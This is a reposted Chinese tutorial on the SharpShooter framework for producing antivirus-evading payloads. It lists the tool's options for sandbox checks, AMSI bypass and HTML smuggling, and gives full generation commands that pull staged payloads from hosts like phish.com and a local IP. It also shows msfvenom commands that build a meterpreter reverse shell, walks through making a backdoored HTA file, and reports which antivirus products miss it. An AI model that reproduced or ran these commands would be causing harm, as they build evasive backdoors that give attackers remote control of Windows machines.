轉載:https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg
免殺能力一覽表
幾點說明:
1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、爲了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由於本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作爲免殺或殺軟查殺能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
一、SharpShooter介紹
Sharpshooter,2018年開源的工具,知名度較高,基於python2開發,是比較專業的Payload生成框架,支持反沙箱、分階段和無階段的Payload執行,並能夠生成hta、js、jse、vba、vbe、vbs、wsf等多種格式的payload,創建的Payload可用於編譯執行任意C#源代碼。Sharpshooter還能對Payload使用隨機密鑰進行RC4加密,還能檢測沙箱,從而避開殺軟的檢測。
二、安裝SharpShooter
安裝比較簡單,python2執行環境。
先從github上clone到本地
# git clone https://github.com/mdsecactivebreach/SharpShooter
進入SharpShooter目錄,安裝python依賴庫
pip install -r requirements.txt
執行python sharpShooter.py即可
三、SharpShooter使用說明
SharpShooter支持的參數比較多,可以像壘積木一樣構造不同的payload。
-h, --help 幫助菜單
--stageless 創建一個不分階段的payload
--dotnetver <ver> 制定dotnet的版本,2或者4
--com <com> COM 分階段技術: 如outlook, shellbrowserwin, wmi, wscript, xslremote等
--awl <awl> 使用程序白名單技術: wmic, regsvr32
--awlurl <awlurl> 指定取回 XSL/SCT payload的url地址
--payload <format> Payload 類型: hta, js, jse, vbe, vbs, wsf, macro, slk
--sandbox <types> 繞過沙盒技術:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> 使用AMSI繞過技術: amsienable
--delivery <type> 分發方法: web, dns, both
--rawscfile <path> 指定生成payload的shellcode
--shellcode 使用內置的shellcode
--scfile <path> 指定C#的shellcode的路徑
--refs <refs> 指定C#需要的依賴文件,如mscorlib.dll等
--namespace <ns> 指定C#的Namespace,如Foo.bar
--entrypoint <ep> 指定C#需要執行的方法,如Main
--web <web> 指定web分發的地址
--dns <dns> 指定Dns分發的地址
--output <output> 輸出文件的名稱
--smuggle HTML內的隱藏文件
--template <tpl> 指定生成html的template文件 (e.g. mcafee)
SharpSHooter支持分階段(Staged)和無階段(Shageless)Payload執行。分階段執行可以使用HTTP(S)或DNS這兩種方式進行傳輸,或者兩者同時使用。當分階段Payload被執行時,會嘗試檢索已經壓縮的C#源代碼文件,然後使用所選擇的方式進行Base64編碼。隨後,藉助.NET CodeDom編譯器,將C#源代碼下載,並編譯到主機上。最後從源代碼執行所需的方法。下圖展現了SharpShooter在分階段過程中的具體操作步驟:
SharpShooter的使用還算比較簡單的,官方提供了各種payload的生成命令。
1、不分階段的JavaScript
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
2、不分階段的hta
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
3、分階段的VBS
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
4、使用js加載自定義C#代碼
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
5、使用vbs調用COM方法執行wmic.exe
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
6、創建hta調用XMLDOM來執行shellcode
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
7、創建VBA調用XMLDOM來執行shellcode
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
8、創建Excel 4.0 符號鏈接文件執行shellcode
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
要求shellcode不能包含空字符
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
四、利用SharpShooter生成後門
以一個比較簡單的爲例進行測試,創建一個包含後門的HTA。
要先用msfvenom生成一個raw格式的shellcode
msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt
然後使用SharpShooter創建hta後門
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee
在測試機上運行foo.hta,理論是也可以使用mshta.exe http://ip/foo.hta來執行,但我沒執行成功。
msf中可正常上線
打開殺軟進行測試,火絨靜態和動態都可以查殺,360衛士和360殺毒沒有報警。
又試了下SharpShooter生成的js之類的payload,查殺率也差不多,而且都被標註了Sharpshooter的病毒名稱,說明SharpShooter默認生成的樣本特徵都已經被殺軟列入特徵庫了。
五、SharpShooter小結
SharpShooter算是比較複雜的一個框架,支持多種payload,能在.NET框架的v2、v3和v4版本上都能執行,涵蓋了絕大部分的Windows系統。但也因爲SharpShooter的知名度比較高,默認生成的payload已經被查殺的比較嚴重,但其實現方式和思路是比較值得人學習的。
而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用參數–amsi amsienable可以使用該模塊來Kill掉AMSI,感興趣的可以試一下。
六、參考資料
官方github:https://github.com/mdsecactivebreach/SharpShooter
如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533